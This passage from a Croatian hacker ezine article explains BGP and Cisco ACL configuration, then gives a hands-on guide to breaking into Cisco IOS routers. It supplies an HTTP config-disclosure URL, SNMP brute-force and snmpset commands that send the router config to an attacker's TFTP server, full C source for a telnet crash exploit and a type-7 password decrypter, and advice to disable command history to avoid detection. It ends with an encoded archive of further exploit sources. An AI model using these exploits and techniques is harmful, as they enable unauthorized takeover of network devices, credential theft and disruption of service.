razlicitih sourceva, a kasnije naravno izabire samo jednog od njih kao
najpogodnijeg za protok saobracaja. isto kao i kod ostalih ruting protokola
nakon odabiranja staze on selektirani path upisuje u routing tabelu i
propagira svoj novokreirani path ostalim susjedima na mrezi. jako je puno
kriterija koje BGP provjerava da bi odabrao najprihvatljiviju putanju za
pakete.. neki od kriterija su: ako je next hop nedostupan paket se drop-a
preferira se najveci weight, ako je weight isti gleda se najveci local
preference, preferira se ruta s najkracim AS path-om isto tako kasnije se
preferira staza s nizim ip adresama itd. itd.
Sve u svemu BGP je jako zahvalan ruting protokol no ipak jako tesko moze
kvalitetno zamijeniti neki od IGP protokola (RIP, IGRP, EIGRP, OSPF, ISIS)
odnosno moze ako planiramo koristiti i odrzavati samo staticke rute.
Dakle BGP najvecu primjenu nalazi prakticki van oblasti IGP-ova npr.
unutar neke velike mreze koja je unutar sebe podijeljena na vise segmenata
koji pak unutar sebe vrte neki od IGP protokola te preko BGP-a razmjenjuju
routing informacije.
///////////////////////////////////////////////////////////////////////////
--==<[ 0x04 ACL (Access Control Lists) framework
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
U dijelu smo posvecenom ACL-ovima odnosno access control listama...
jednostavnom alatu implementiranom u CISCO IOS koji se koristi, naizgled,
slicno kao i iptables, ipchains na linuxu o kojima je mislim bilo
rijeci u prethodnim izdanjima ezina. Dakle, "izuzetno" je bitno kako su
ACL-ovi podeseni na routeru iz vise razloga... vrlo cesto si administratori
stvaraju sami nepotrebne probleme kod konfanja istih.. pa se pravila za
vise interfejsa medusobno kolju, pa nisu blokirane neke osnovne stvari koje
omogucuju land-attack (isti source i destination addr pa si stroj stvori
loop u path-u paketa)... zatim krivo definirana pravila za pristupanje
routeru itd. itd..
Svrha ACL-ova je da se zabrani nezeljeni pristup na mrezu dok pak neki
korisnici interne mreze moraju imati pristup odredjenim servisima vani itd.
itd. Dakle to je klasican filter saobracaja koji omogucava filtriranje
prometa koji prolazi kroz nase interfejse.. ACL-ovi koriste jednostavne pa-
rametre "allow" i "deny" za dozvolu tj. zabranu protoka odgovarajuceg
saobracaja.da bi paket prosao kroz interface mora zadovoljiti odredjene
kriterije koje mu postavi admin prilikom konfiguriranja access-lista na
samom routeru. znaci ovisno o pravilu ac liste paket ce biti propusten ili
drop-an. vrlo cesto se acl-ovi koriste kako bi se dobilo na performansama
u protoku na samoj mrezi... npr. zabranom video traffic-a.. itd.
* Ako ACL nisu konfigurirane na routeru svi ce paketi koji prolaze kroz
router moci pristupiti svakom interface na routeru odnosno svim mrezama!
bitno je da se acl unose hijerarhijski odnosno pravila se provjeravaju
odozgo prema dolje prakticki pa ako se dva rula krse medjusobno onaj donji
se ni ne gleda tj. nema nikakvu ulogu u danjem kontroliranju protoka!!!
tako je najbolje na kraju svake liste nakon sto unesemo sve sto trebamo
staviti "implicit deny" liniju kako nebismo kasnije imali problema...!!!
postoji nekoliko tipova ACL-ova:
---------------------------------------
| PROTOKOL: | OZNAKA: |
---------------------------------------
| IP | 1-99 |
---------------------------------------
| Extended IP | 100-199 |
---------------------------------------
| AppleTalk | 600-699 |
---------------------------------------
| IPX | 800-899 |
---------------------------------------
| Extended IPX | 900-999 |
---------------------------------------
| IPX SAP | 1000-1099 |
---------------------------------------
znaci da pojasnim ovo... svaki ACL kada se unosi na routeru mora imati
sebi dodijeljen uniq broj po kojem se identificira... ono identificira
vrstu access-liste a brojevi su u tabeli znaci pod sekcijom "OZNAKA"...
sintaksa je prilicno jednostavna... dakle:
u configure terminal modu:
Router(config)#access-list
nakon access-list commande slijedi dakle identifikacijski broj pristupne
liste... (standardni ip... extended ip itd. itd...) iskljucivanje acl-a
se vrsi komandom no access-list..
nekoliko je bitnih pravila kod unosenja prisupnih lista na router:
jedna pristupna lista za protokol za direction,
standard acl unesen sto blize odredistu,
extended sto blize src-u,
pravila se trebalu unositi od specificnih do opstih
...
i jako je bitno napomenuti da ne mozete iskljuciti odredjeno pravilo sa
komandom koju sam naveo gore "#no access-list" vec cijelu pristupnu listu
brisete sa odredjenog interfejsa...
posiljatelj paketa koji je drop-an nakon primitka dobiva reply od routera
tj. ICMP message "host unreachable"!!!
* sve spomenuto odnosi se na IPv4 tj na 32 bitno adresiranje da nebi bilo
kakvih nesporazuma.!!!
jos jedna iznimno bitna stvar kod pristupnih lista jest "Wildcard mask"?!
to je isto tako 32-bitni broj kao i IP adresa .. isto je podijeljen na
cetiri okteta s tim da je uparen s ip adresom a wildcard mask je zapravo
nick za ACL mask-bit matching process .. da nebi doslo do nesporazuma ono
nikakve veze nema s subnet maskama... wildcard maske nisu pretjerano jed-
nostavne za skuzit pa cu pokusat kroz primjer objasnit princip njihova
rada. bitno je da nikako ne mijesate njih i subnet masku...
# access-list 1 permit 172.16.0.0 0.0.255.254
-------------------------------------------------
ip adresa: 10101100 00010000 00000000 00000000
wildcard: 00000000 00000000 XXXXXXXX XXXXXXX0
match: 10101100 00010000 XXXXXXXX XXXXXXX0 |------
------------------------------------------------- |
INCOMING PACKET: 172.18.4.2 |
------------------------------------------------- |
ip adresa: 10101100 00010010 00000100 00000010 |
|
wildcard: 00000000 00000000 XXXXXXXX XXXXXXXX |
|
value: 10101100 00010010 XXXXXXXX XXXXXXXX |
------------------------------------------------- |
USPOREDBA SA: |
------------------------------------------------- |
match: 10101100 00010000 XXXXXXXX XXXXXXXX <------
dolazna kompozitna vrijednost se usporedjuje s internom match vrijednoscu!
zbog razlike u 00010010/00010000 odnosu na drugom bitu packet ce biti
rejected... u slucaju da je recimo paket bio poslan sa 172.16.4.2 on bi
bio pusten kroz interface jer bi se 00010000/00010000 odnos poklapao...
dva bitna sintaksna parametra kod koristenja prisptupnih listi su "host"
i "any"..
any = 0.0.0.0 IP i 255.255.255.255 = wildcard mask
host = 0.0.0.0 mask.. znaci za samo jedan specificno definiran host..!!
komanda "# show access-lists ce vam dati vise informacija o trenutno
konfiguriranim pristupnim listama na routeru...
======-[ 0x04a STANDARD (1-99) vs. EXTENDED (100-199)
standard acl-ovi provjeravaju source adresu dolazeceg paketa i chekira
odgovarajuce pravilo s infomacijama koje ima a to su network, subnet i
src adresa hosta...
puna sintaksa glasi: Router(config)#access-list access-list-number
{deny | permit} source [source-wildcard ] [log]
za disable acl-a: Router(config)#no access-list access-list-number
extended acl-ovi se puno, puno vise koriste iz prostog razloga sto pruzaju
mnogo vise mogucnosti i daju puni veci kontrolu na saobracajem..
ova vrsta pristupnih lista provjerava source i destination adresu a isto
je tako u mogucnosti provjeriti protokol tj. port koji paket zahtjeva
koristiti prilikom njegovog routanja kroz sam router.
dakle puno vise paznje je obraceno na vise OSI layere kao sto su
transport i application layeri...
puna sintaksa glasi: Router(config)#access-list access-list-number
{deny | permit} protocol source
komanda "#ip access-group" linka odredenu extended pristupnu listu na
odredeni interfejs.. zapamtite.. jedna acl po interface-u, po pravcu,
i po protokolu je dozvoljena..!!!
======-[ 0x04b NAMED ACL's
od ver. 11.2 IOS-a moguce je standard acl-ovima davati imena umjesto
brojevnih oznaka sto je veoma korisno i puno lakse za snalazenje adminu..
najveca prednost je sto se acl-ovi ovako mogu modificirati bez da se
brisu cijele pristupne liste pa unose ponovno!!!
NACL primjer!
(config)#ip access-list extended server-access
(config-ext-nacl)#permit TCP any host 100.100.100.99 eq smtp
(config-ext-nacl)#permit UDP any host 100.100.100.99 eq domain
(config-ext-nacl)#deny ip any any log
...
nakon konfiguriranja named acl-ova na odredjenom interface-u ih
apply-amo tj. dodjeljujemo upravo tom i-face komandom "ip access-group
server-access out" --> cisto samo kao primjer!!!
iz gore navedenog primjera je vidljiv na zadnjoj liniji "log" segment
koji stoji na kraju any any parametara za "deny ip" acl.. taj parametar
koristimo kada zelimo da nam acl podsustav IOS-a logira sve pokusaje
protoka traffica koje je on blokirao upravo na tom definiranom pravilu.
logiranja se vrse u odredjeni fajl iz kojeg se izlistavaju show komandom
trazeci neke 31337 hax0re koji floodaju na suho ili trazeci sourceve
odredjenih tipova skeniranja itd.
Pristupne liste nakon izlistavanja trenutno pokrenute konfiguracije,
odnosno "#show running-config" su prikazane upravo onako kako su one i
unesene preko "#configure terminal" moda "#access-list komande...
Evo nekoliko primjera unosa i outputa pristupnih listi na cisco routeru!
----------------------
no access-list 101
access-list 101 deny tcp any host 198.0.0.1 eq www
access-list 101 deny tcp any host 172.16.0.1 neq www
access-list 101 deny icmp any host 172.16.0.1
access-list 101 deny ip any host 172.16.0.1
access-list 101 deny tcp 170.20.1.128 0.0.0.59 209.0.0.0 0.0.0.128
access-list 101 deny icmp 170.20.1.128 0.0.0.59 209.0.0.0 0.0.0.128
access-list 101 permit tcp 170.20.1.128 0.0.0.120 209.0.0.0 0.0.0.255
access-list 101 deny tcp any 209.0.0.0 0.0.0.255
access-list 101 deny icmp any 209.0.0.0 0.0.0.255
access-list 101 permit tcp any any
access-list 101 permit icmp any any
access-list 101 permit ip any any
----------------------
kao sto se vidi iz navedenog primjera kada se zavrsi s konfanjem lista
i sigurni smo da smo sve konfigurirali tocno kako nam je bilo potrebno
onda na kraju pristupne liste stavljamo liniju access-list 101 permit
ip any any koja nakon sto je konfigurirana dozvoljava sav ostali promet.
Jos jednom napominjem da se lista cita odozgo prema dolje od strane
IOS-a tako da nakon sto su odredjene akcije disable-ane sve je ostalo
omoguceno... takodjer je moguce dozvoliti specificne stvari a na kraj
staviti implicitni "deny" ostalog traffic-a.. ...deny ip any any...
no onda treba paziti sto sve omoguciti za nesmetanu komunikaciju preko
odredjenih tcp/ip, icmp... protokola.
pristupne liste su poprilicno mocan alat te se mogu izuzetno dobro
iskoristiti uz posjedovanje odredjenog znanja... da ne spominjem igranje
sa src i dest NAT tehnologijom, NAPT-om itd. itd. Nema smisla ici pre-
siroko ovde.. ako zelite znati vise procitajte bloodzero-ov dobar tekst
o fw-ima izasao u drugom broju prhearless Zina..
///////////////////////////////////////////////////////////////////////////
--==<[ 0x05 IOS security; 'go with the flow'
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
Evo dosli smo i do dijela u kojem cu pokusati pojasniti neke tehnike
napada na cisco router.. znaci da bi prekonfigurirali router kako zelimo,
iskoristili ga za daljnje napade ili nekog drugog razloga moramo dobiti
pristup cisco terminalu.. Vulnerability skeneri ce jako dobro obaviti svoj
posao prilikom analiziranja sigurnosnih propusta na cisco routerima.
preporucio bih vam Nessus-a koji ima podosta veliku listu inih ranjivosti,
(brute force stringovi za SNMP daemon...) ali morate racunati da je vecina
routera na mrezi procesljana raznoraznim Vulnerability scannerima pa vam
oni isto tako, cesto nece biti od velike koristi...
*** kroz praksu cete vidjeti da jako puno admina cesto grijesi prilikom
konfiguriranja ACL-ova.. jako puno njih izostavi neke must do sitnice kao
blokiranje paketa s istim src dest adresama sto naravno omogucava land
attack, takodjer dosta njih ne sortira login ip range na terminal,,,
zatim ne blokiraju ICMP echo, redirect i mask floodanja itd. itd. a
access-list konfiguraciju mozete vidjeti iz ispisa "#sh ru" komande
a do sadrzaja konfiguracijske datoteke mozemo doci na vise nacina
kao sto cemo vidjeti kasnije u ovom poglavlju...
Velik je broj sigurnosnih propusta objavljen kroz godine razvoja Cisco
sistema, stoga cu ja ovdje pokusati pojasniti neke od njih. ovdje sam
ukljucio i neke sigurnosne propuste za neke starije verzije cisco IOS-a
no kao sto i sami znate po netu naletite na sve i svasta.. a sta se moze
kad je mnogim adminima jaaaaako tesko patch-irat servise, upgrade-at IOS,
nije za puno njih ni ovce cuvat, a kamoli neki unixoid, IOS... ma.. nije
vrijedno spomena. ajmo mi dalje..
na samom pocetku kao sto smo spomenuli treba identificirati cisco router
na mrezi. mnogo je metoda za to.. analizom scan output-a, traceroute-om.
.. ali ako nemate vremena za to ili bezuspjesno pokusavate rucno evo
jedan dio koda koji ce za vas identificirati dali je remote target uredaj
cisco router ili ne koristeci cisco indent port (1999)..
*** ciscoident.c ***
isto tako mozete pomocu odredjenih alata skenirati mreze u
potrazi za cisco ruterima s tim da isto tako paralelno mozete
isprobati dali pronadjeni ruteri imaju eventualno defaultni
"cisco" password podesen! iako je ovo zaista rijetko nemate sto
izgubiti a i zaista je korisno jer mozete proskenirati A, B i C
klase ip adresa prilicno brzo u potrazi za "default pass"
ranjivim ruterima.. nakon kompiliranja slijedeceg source-a
sintaksa je izuzetno jednostavna... "./cisco_scan x.X"...
potrebni parametari su subnet, timeout i thread...
sve rezultate skener ce zapisati po defaultu u file "cisco.txt"
*** ciscos.c ***
nakon sto ste pronasli cisco router na mrezi jednom od metoda,
prelazi se u fazu info-gatheringa o samom router IOS-u, njegovoj
konfiguraciji itd. ovo je takodjer opcionalna metoda u kojoj je
vecini mnogo vece zadovoljstvo sam ispitivati router, bockati ga
sa svih strana, kodirati simple skripte, jednostavne fuzzere koji
ce testirati odredjene servise slanjem mixed string-ova itd. no
i taj proces moze biti dosta ubrzan koristeci neki univerzalni
vulnerability skener... stoga evo jednog izvrsnog perl source-a
koji ce za vas proskenirati target cisco router trazeci i
exploitajuci dosta poznatih sigurnosnih propusta od
kojih cu one zanimljivije, detaljnije pojasniti kasnije!!
*** ciscoglbxpl.pl ***
---- Ok.. Ok.. But I'd rather use my own hands & brain!!! ;> ----
Prva uvelike stara i poznata ranjivost je HTTP Conf Arbitrary Admin Access
sve sto vam treba za exploitanje ovog bug-a je internet browser. Dakle
u browser ukucajte IP od router-a... naravno da ranjivi router mora imati
pokrenut httpd daemon... nakon konektiranja na router dolazi pop-up koji
vas prompta za login i password.. vi jednostavno kliknite cancel na
pop-up-u i u network address ukucajte http://*/level/99/exec/show/config
Time dobivate izlistanu konfiguraciju ciljanog routera...
!!!! sada imate jako puno korisnih informacija !!!
npr. ACL liste koje mozete iskoristiti u danjem planiranju napada,
password, kriptirani koji se vrlo lako da dekriptirati, SNMP community
stringove... mozda cak i clear text pass ako admin nije enable-o secret
vec samo password u configure modu...
Crackiranje passworda!!!
nakon sto se si izlistali konfiguracijski fajl u njemu ste dobili
kriptirani password koji izgleda npr. ovako:
"095C4F1A0A1218000F"
ovisi koju je vrst enkripcije izabrao administrator.. pretpostavit
cemo u ovom slucaju da je izabrao "Vigenere" koja se ponekad
koristi kao metoda za enkripciju lozinki na cisco IOS-u.
sada jednostavno si nabavite alat pod nazivom "GetPass" od Boson-a.
i jednostavno napravite reverse hasha u plain text pass. ima jos
mnogo alata za crackanje passa no ovaj je najucinkovitiji za ovu
vrst enkripcije...
osim Vigenere tipa enable pass-a evo i ostalih tipova:
* Clear Text enable password password
* Vigenere enable password 7 104B0718071B17
* MD5 enable secret 5 $1$yOMG$38ZIcsEmMaIjsCyQM6hya0
Nakon sto izvucete clear-text password i logirate se na konzolu u
privilegirani mod imate sve u svojim rukama ..
Jos jedan vrlo ucinkovit nacin dobivanja neovlastenog pristupa na cisco
IOS je Brute-force-anjem..
kod CISCO routera vrlo cesto cete naici na otvoren port 161 odnosno
SNMP (UDP)... mnogo je alata za brute-forsanje snmp-a na IOS-u a neki od
ponajboljih su solarwind paket, ADMsnmp.. znaci kao sto i sami znate cilj
je pogoditi community stringove SNMP paketa koje razmjenjuje ciljani
router. Kako bi dobili sto vise informacija koristite SNMP audit
scanner ADMsnmp koji je vrlo ucinkovit u pogadjanu community stringova.
Nakon sto s jednim od alata pogodite read/write community string i
steknete r/w permissione na ciljanom ruteru prosetajte se MIB-om
(Management Information Base) kako bi doznali sto vishe informacija o
samom ruteru.
-----[code]----
[root@madness]# snmpwalk -v 1 -c duckling IP_ROUTER
SNMPv2-MIB::sysDescr.0 = STRING: Cisco Internetwork Operating
System Software IOS (tm) 2600 Software (C2600-I-L), Version 12.1,
RELEASE SOFTWARE (fc1) Copyright (c) 1986-2003 by cisco Systems, Inc.
Compiled Tue 12-Jan-03 11:59 by cisco
SNMPv2-MIB::sysObjectID.0 = OID: SNMPv2-SMI::enterprises.7.3.20
SNMPv2-MIB::sysUpTime.0 = Timeticks: (103607424) 23 days, 11:58:54.24
SNMPv2-MIB::sysContact.0 = STRING:
SNMPv2-MIB::sysName.0 = STRING: ADMsnmp
SNMPv2-MIB::sysLocation.0 = STRING:
SNMPv2-MIB::sysServices.0 = INTEGER: 6
-----[/code]----
sad kad ste uvidjeli da je device CISCO 2600 s navedenim IOS-om lako
mozete prebaciti njegov config file na svoj tftp server koji sam spomnjao
u jednom od prethodnih poglavlja.
-----[code]----
[root@madness]# snmpset ROUTER_IP duckling
.1.3.6.1.4.1.9.2.1.55.100.100.100.10 s "config"
enterprises.9.2.1.55.100.100.100.10 = "config"
-----[/code]----
opet imate uvid u konfiguracijsku datoteku samog uredaja i mozete dobiti
jako puno korisnih infomacija kao i u prethodnoj metodi.
Jos jedan poznati bug je u verziji (izasloj prije krista) 4.1 ako se ne
varam .. nakon spajanja na telnet daemon na routeru jednostavno mu
unesite ogroman pass string:
10293847465qpwoeirutyalskdjfhgzmxncbv019dsk10293847465qpwoeirutyalskdjf
hgzmx ncbv019dsk10293847465qpwoeirutyalskdjfhgzmxncbv019dsk10293847465q
pwoeirutyalskdjfhgzmxncbv019dsk10293847465qpwoeirutyalskdjfhgzmxncbv019
dsk10293847465qp woeirutyalskdjfhgzmxncbv019dsk10293847465qpwoeirutyals
kdjfhgzmxncbv019dsk10293847465qpwoeirutyalskdjfhgzmxncbv019dsk
... nakon toga cisco router ce se rebootati no prije toga ce vjerojatno
biti zamrznut na odredjeno vrijeme (par minuta) sto ce vam omoguciti da
ga mozete iskoristiti za dobivanje neovlastenog pristupa na terminal!
ako se to ne dogodi onda vjerojatno nije gore 4.1 verzija no onda mozete
probati neke flood metode u istu svrhu ... znaci da bi prije reboota
uvjetovali reload konfa na samom IOS-u i time si omogucili ulaz sa
defaultnim cisco, admin passwordom.. ako se nekom neda unositi ovakve
stringove ;> i nema vremena skodirati si skripticu za to evo source-a
sploita koji ce rasturit ruter 7xx/4.1 za vas..
by Bosplaya
-----[code]-----
#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
#define dport 23 /* The port we want :)*/
int x, s, i, p;
char *str = "45646545646465465465fsdfdsfdsfdsf464654546654654654564564
6546545646546546545646465465456456456456456456465465456465465465456465
4464656464654456654unFunF454646465465465465465456456465456465456456465
4564563213131321321231321231231321231321231321321321231321231231546546
45646464464";
struct sockaddr_in addr, spoofedaddr;
struct hostent *host;
int open_sock(int sock, char *server, int port) {
struct sockaddr_in blah;
struct hostent *he;
bzero((char *)&blah,sizeof(blah));
blah.sin_family=AF_INET;
blah.sin_addr.s_addr=inet_addr(server);
blah.sin_port=htons(port);
if ((he = gethostbyname(server)) != NULL) {
bcopy(he->h_addr, (char *)&blah.sin_addr, he->h_length);
}
else {
if ((blah.sin_addr.s_addr = inet_addr(server)) < 0) {
perror("gethostbyname()");
return(-3);
}
}
if (connect(sock,(struct sockaddr *)&blah,16)==-1) {
perror("connect()");
close(sock);
return(-4);
}
}
void main(int argc, char *argv[]) {
int t;
if (argc != 3) {
printf("Ciscokillah.c by Bosplaya\n\n");
printf("Usage: %s <target> <port> <hidden> \n",argv[0]);
exit(0);
}
for (t=0; t<5; t++)
{
if ((s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
perror("socket()");
exit(-1);
}
p = atoi(argv[2]);
open_sock(s,argv[1],p);
for (i=0; i<10; i++) {
send(s,str,strlen(str),0x0);
}
printf("uNF\n");
}
close(s);
}
-----[/code]-----
isto tako mozete probati brute-force-ati login servise kao sto su telnet
i ssh no to je ucestalo mnogo tezi i mnogo bucniji nacin!! Prvo trebate
vidjeti kakvu provjeru autorizacije koristi, "Tacacs" ili "Radius" ..
naravno ako je pokrenut fingerd mnogo ce vam biti lakse pogoditi samo
passworde za razliku od dvostruke muke username/password guessinga...
Na unixoidima koristite "hydra" alat od THC-a a ako ste na windozama
mozete koristiti popularni "brutus"..
Nakon sto ste dobili pristup na router bilo kojom od gore navedenih metoda
mozete se igrati s njim i raditi sto vam god padne na pamet.. snifati
promet, ostvariti pristup na neke druge strojeve no ono sto je najbitnije
morali biste dekriptirati password kako bi i dalje imali pristup na
router.. najlaksi nacin je da si ga prebacite sa tftp-om na svoj tftp
server.. (no obvezno prije svega disable-ajte command logging; kao npr.
".bash_history" file ili "lastcomm --user" output na linuxu tako i na
cisco-u postoji terminal history pa preporucam da ga iskljucite pomocu
komande "terminal history size 0").
sintaksa je veoma jednostavna "tftp fajla vas_tftp"... iako
se razlikuje od verzije do verzije IOS-a pogledajte "tftp ?" pa ce vam
sve biti mnogo jasnije... no nakon prebacivanja kriptiranog fajla na
svoj root dir tftp-a morate si ga crackat nekako.. nalakse je da si
kompilirate slijedecu sekvencu za dekriptiranje cisco passova no mozete
pokusati i metodama koje koristi JTR ili neki drugi pass cracker..
kako god ova sekvenca je dost stara no jako cesto ce vam dati trazeno..:
source==blacksun (blacksun.box.sk):
-----[code]-----
#include <stdio.h>
#include <ctype.h>
char xlat[] = {
0x64, 0x73, 0x66, 0x64, 0x3b, 0x6b, 0x66, 0x6f,
0x41, 0x2c, 0x2e, 0x69, 0x79, 0x65, 0x77, 0x72,
0x6b, 0x6c, 0x64, 0x4a, 0x4b, 0x44
};
char pw_str1[] = "password 7 ";
char pw_str2[] = "enable-password 7 ";
char *pname;
cdecrypt(enc_pw, dec_pw)
char *enc_pw;
char *dec_pw;
{
unsigned int seed, i, val = 0;
if(strlen(enc_pw) & 1)
return(-1);
seed = (enc_pw[0] - '0') * 10 + enc_pw[1] - '0';
if (seed > 15 || !isdigit(enc_pw[0]) || !isdigit(enc_pw[1]))
return(-1);
for (i = 2 ; i <= strlen(enc_pw); i++) {
if(i !=2 && !(i & 1)) {
dec_pw[i / 2 - 2] = val ^ xlat[seed++];
val = 0;
}
val *= 16;
if(isdigit(enc_pw[i] = toupper(enc_pw[i]))) {
val += enc_pw[i] - '0';
continue;
}
if(enc_pw[i] >= 'A' && enc_pw[i] <= 'F') {
val += enc_pw[i] - 'A' + 10;
continue;
}
if(strlen(enc_pw) != i)
return(-1);
}
dec_pw[++i / 2] = 0;
return(0);
}
usage()
{
fprintf(stdout, "Usage: %s -p <encrypted password>\n", pname);
fprintf(stdout, " %s <router config file> <output file>\n", pname);
return(0);
}
main(argc,argv)
int argc;
char **argv;
{
FILE *in = stdin, *out = stdout;
char line[257];
char passwd[65];
unsigned int i, pw_pos;
pname = argv[0];
if(argc > 1)
{
if(argc > 3) {
usage();
exit(1);
}
if(argv[1][0] == '-')
{
switch(argv[1][1]) {
case 'h':
usage();
break;
case 'p':
if(cdecrypt(argv[2], passwd)) {
fprintf(stderr, "Error.\n");
exit(1);
}
fprintf(stdout, "password: %s\n", passwd);
break;
default:
fprintf(stderr, "%s: unknow option.", pname);
}
return(0);
}
if((in = fopen(argv[1], "rt")) == NULL)
exit(1);
if(argc > 2)
if((out = fopen(argv[2], "wt")) == NULL)
exit(1);
}
while(1) {
for(i = 0; i < 256; i++) {
if((line[i] = fgetc(in)) == EOF) {
if(i)
break;
fclose(in);
fclose(out);
return(0);
}
if(line[i] == '\r')
i--;
if(line[i] == '\n')
break;
}
pw_pos = 0;
line[i] = 0;
if(!strncmp(line, pw_str1, strlen(pw_str1)))
pw_pos = strlen(pw_str1);
if(!strncmp(line, pw_str2, strlen(pw_str2)))
pw_pos = strlen(pw_str2);
if(!pw_pos) {
fprintf(stdout, "%s\n", line);
continue;
}
if(cdecrypt(&line[pw_pos], passwd)) {
fprintf(stderr, "Error.\n");
exit(1);
}
else {
if(pw_pos == strlen(pw_str1))
fprintf(out, "%s", pw_str1);
else
fprintf(out, "%s", pw_str2);
fprintf(out, "%s\n", passwd);
}
}
}
-----[/code]-----
vecina prije spomenutih metoda ukljucuje pribavljanje konfiguracijske
fajle u svrhu iscitavanja passwd hash-a radi njegova kasnijeg crackanja
no bilo bi zaista mnogo bolje i lakse kada bi mogli s pravim sploitom sa
shellcode-om direktno root-ati sam IOS?... pa evo jedan heap overflow
PoC exploit koji radi na Cisco 11.1.x - 11.3.x TFTP serverima.
dakle tftp server bi trebao biti reg set-an za sam flash file na routeru.
ovim mu se overflow-a heap buffer s predugim filename-om u TFTP request-u.
ukljuceni program je PoC koji nakon executanja shell code-a prepisuje
konfiguraciju na routeru u NVRAM za preuzimanje kontrole nad ruterom
koristeci nekontroliranu razmjenu pointera! shellcode radi samo na Cisco
1000 i 1600 ruterima zbog flash invalidacije a stack adresa ovisi o
image-u. dakle navedenim shell code-om se upload-a nova konfiguracija na
sam IOS cisco rutera i to sve jednim UDP paketom.. da ne duljim evo
source u kojem sam se ja vrlo lako izgubio nekoliko puta dok sam neke
stvari isprobavao pa dok ga analizirate samo polako i strpljivo..
*** iosheapUltimaratio.c ***
Izgleda da je ovaj flow dao motivacije mnogima i da donedavno, opisivan kao
iznimno siguran, cisco IOS (unatoc odavno znanim sigurnosnim propustima
poput HTTP, SMTP, NTP bugova) pokazuje sve vise slabosti. naime nedavno su
procurile informacije o novom sigurnosnom propustu u trenutnom IOS-u
cije exploitanje omogucuje remote otvaranje "enable" moda. spomenuti
bug se izgleda iskoristava na nacin da se izvrsi buffer overflow napad i
pokusa ubaciti informacije na heap, nekoristeni dio memorije kad se ruter
starta, sto se prije nekima cinilo nemogucim jer IOS periodicno (30-60 sec.)
provjerava heap trazeci "bad data" koji ako je pronadjen router reboota i
ponovno podize sistem. To sve obavlja proces "heap checker" koji se pak
moze prevariti ako se upravo njemu da do znanja da je IOS vec srusen. Dakle
trik je u tome da cisco ios misli da se rusi prije nego li je on zapravo
srusen. Znaci "abort" rutinu heap checkera treba prevarit razmjenom pointera
dajuci joj lazne informacije! Uzasno me zanima rjesenje offset-a no
Vjerovatno ce jos puno govora biti o ovom sigurnosnom propustu u doglednom
vremenu i jos mnogo neprospavanih noci je pred nama.
U ovoj sekciji su bili navedeni neki principi zaobilazenja odredjenih
sigurnosnih rjesenja na cisco routerima.. iznio sam osnovne koncepte
samih metoda i nadam se da je sve poprilicno jasno.. naravno za potpuno
razumijevanje je neophodno zanje C-a te Perl-a u ovom konkretnom
slucaju. neke sourceve sam morao prepraviti, no sve gore izlistane
kodove sam u bezbroj navrata testirao i koristio tako da nebi trebalo
biti nikakvih problema sto se tice kompiliranja i koristenja istih...
no ako ih pak bude slobodno me kontaktirajte na mail naveden na "line 9".
btw. usputno, testno koristena linux platforma na kojoj je sve proslo
ok jest "Linux Madness 2.4.20 #2 Mon Mar 17 22:02:15 PST 2003 i686"
sa gcc-om v3.2.2...
-----
NAPOMENA: vecina internacionalnih administratora na bitnijim cvorovima
se pridrzava guideline-a koji je izdala NSA (National Security
Agency) te koliko sam pogledao njihove conf guide-ove jako je
dobro skrojeno konfigurianje sa sigurnosnog stajalishta no....
"Nobody's perfect" btw. fajla se moze pronaci na netu pod
nazivom cis-2.pdf - NSA Security Recommendation Guides...
///////////////////////////////////////////////////////////////////////////
--==<[ 0x06 Outro
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
Evo dosli smo do kraja ovog teksta u kojem naravno, nisam, mogao da
iznesem pretjerano previse toga no nadam se da je i iz ovog skromnog komada
barem netko od vas naucio nesto novo i da vam nije bilo pretjerano dosadno
citajuci ga. Za bilo kakva dodatna pitanja i komentare te eventualne
tehnicke pogreske obratite mi se na mail: h44rp.net[at]gmail[dot]com
gr33tz t0: svima koji na bilo koji nacin pomazu u opstanku phearless eZina,
krobo, SiKe, Shatterhand, _bl00dz3r0_, nimr0d, set_X, DownBload,
argv, BoyScout, Exoduks, m4rko.. ostatku #blackhat team-a, bh0x
development crew, Impaler, Medo, hr.linux-u.. & big kiss Jeleni!
sh1tz t0: svim priglupim sistemcima kojih je iz dana u dan sve vise..
----- -----
"I've been reckless but I'm not a rebel without a cause"
----- -----
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
begin 644 sources
M'XL("-SO4$,``S53;#1/82YT87(`[#Q[5]O&L_W;Y_`=M@Y))")LRQA(,*9U
M@#2<2X"#2=M[`\='EM98%UE2]8#0E'[V.[,/O6T,39/>_J(<8GDU.SL[KYV9
M73GTXL"D8?.[O_%JP;6YOHZ?^N9ZBWV'2WZR>[VUUN[H&YN;K?9W+5W?[*Q_
M1];_3J+D%8>1$1#R73@QHH@&,^$"SXN^!#U?^`J%_$T[-+U+9_31=QJ^\WG'
M0`%O=#HSY+^VT5I?D_+?:*VM@?P[&_K&=Z3U><FHOO[#Y?_D^V8<!LV1[39]
M&CBUVI,GM2=D%[6!_.1X(\,A^Z`3G@V\J>&C0WH);:X7T9!LP?>S"26O'<.\
MZKN7U`D)L',\)@$=QR$EAN/`;>A[;FB,;,>.;!I"G[$7$,,EMFMZ04#-B,!W
MVW$89NSFC4DTL0&7-XYNC(!"%X#`7O2:NE$,8)8Q-2Z!A,@C7C2A`0#?AA&=
MA@U&Y22*_*UF\^;FIC%"X@Q&7,..<'XU,<MWGA4[2!`TX;`#S[RB49?='QQO
M;<GO$MRP70:[//'"B/1(O=ZM+=./_G7LN/*K>/1C__2GGS^0%KG(@8AF'9MK
M]I@H')[^!IU5\@E&ADDI:K=VQY_*G@L!Z`R"&;+.06#*):AV"M6>#;660JW-
MANJD4)W94.LIU/ILJ(T4:F,VU&8*M3D;ZF4*]7(VU*L4ZM5L*+V586MK#ER6
M_7/XKV<$H,^1@)X1@3Y'!GI&"'HJ!0IM?F"[T9C4S]T#]]IP;(M@+QIP4[PE
